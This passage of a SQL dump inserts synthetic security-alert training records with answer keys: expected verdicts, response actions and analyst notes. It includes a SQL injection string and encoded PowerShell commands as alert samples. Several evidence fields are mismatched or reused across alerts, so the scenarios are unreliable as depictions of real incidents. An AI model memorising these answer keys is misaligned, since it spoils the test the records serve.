1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"},{\"timestamp\":\"2026-03-15T20:56:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"},{\"timestamp\":\"2026-03-15T20:55:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"},{\"timestamp\":\"2026-03-15T20:54:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1700, 'Unexpected Internal Traffic Detected', 'low', 'Sysmon', 'Unusual internal network traffic detected, originating from an internal IP, but no malicious activity confirmed.', 'Lateral Movement', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"10.0.0.50\",\"username\":\"jdoe\",\"hostname\":\"workstation03\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network communication\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network communication\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic was between internal IPs and consistent with routine activity, confirming it as a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1701, 'Suspicious Encoded PowerShell Execution', 'medium', 'CrowdStrike', 'An encoded PowerShell command was executed, but further analysis indicated it was a legitimate administrative script.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"198.51.100.10\",\"username\":\"admin\",\"hostname\":\"admin-pc\",\"command_line\":\"powershell.exe -EncodedCommand U29tZSBBZG1pbmlzdHJhdGl2ZSBTY3JpcHQ=\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand U29tZSBBZG1pbmlzdHJhdGl2ZSBTY3JpcHQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded command verified as legitimate administrative task\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command was a legitimate administrative operation, hence categorized as a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1702, 'SQL Injection Attempt Detected on Web Server', 'high', 'Carbon Black', 'Detected SQL injection attempt on the company\'s web server. Malicious payload targeting database vulnerabilities.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:55Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.20\",\"dst_ip\":\"192.168.1.100\",\"username\":\"webuser\",\"hostname\":\"web-server\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected in URL parameters\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for malicious web activity\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload matches a classic SQL injection attempt, confirming the threat as a true positive.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1703, 'Abnormal Internal Traffic with Base64 Encoded Payload', 'medium', 'SentinelOne', 'Observed unusual internal traffic with a Base64 encoded payload. Further investigation revealed routine data transfer.', 'Data Exfiltration', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:10:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"172.16.0.10\",\"dst_ip\":\"172.16.0.15\",\"username\":\"mwhite\",\"hostname\":\"data-node\",\"request_body\":\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"172.16.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Payload is part of a routine data transfer\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The traffic and encoded payload were initially suspicious but were confirmed to be part of routine operations.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1704, 'PowerShell Download Cradle Detected', 'critical', 'CrowdStrike', 'A PowerShell download cradle was detected executing an encoded script on an internal host. This indicates potential malware delivery or execution.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:25:14Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-PC-01\",\"command_line\":\"powershell.exe -EncodedCommand ZQBjAGgAbwAgACcASABlAGwAbABvACcA\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZQBjAGgAbwAgACcASABlAGwAbABvACcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution indicating potential malware activity\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell encoded command indicates a likely malware execution attempt, requiring immediate isolation and investigation.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1705, 'Process Hollowing Detected in Explorer.exe', 'high', 'SentinelOne', 'Anomalous process behavior detected. Explorer.exe is exhibiting process hollowing behavior, which is commonly associated with malware.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:50:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.12\",\"dst_ip\":\"\",\"username\":\"asmith\",\"hostname\":\"WORKSTATION-22\",\"command_line\":\"explorer.exe\",\"file_hash\":\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious process hollowing activity\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash and process behavior are indicative of process hollowing, a technique used by malware to hide malicious activity.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1706, 'Suspicious PowerShell Execution', 'medium', 'Carbon Black', 'A PowerShell script executed with suspicious parameters, potentially indicating an attempt to download or execute unauthorized content.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:15:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"mbrown\",\"hostname\":\"DEV-SERVER-01\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the development server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution with bypass policy is suspicious but common in legitimate scripts\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution policy bypass is common during legitimate script testing on development servers.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File 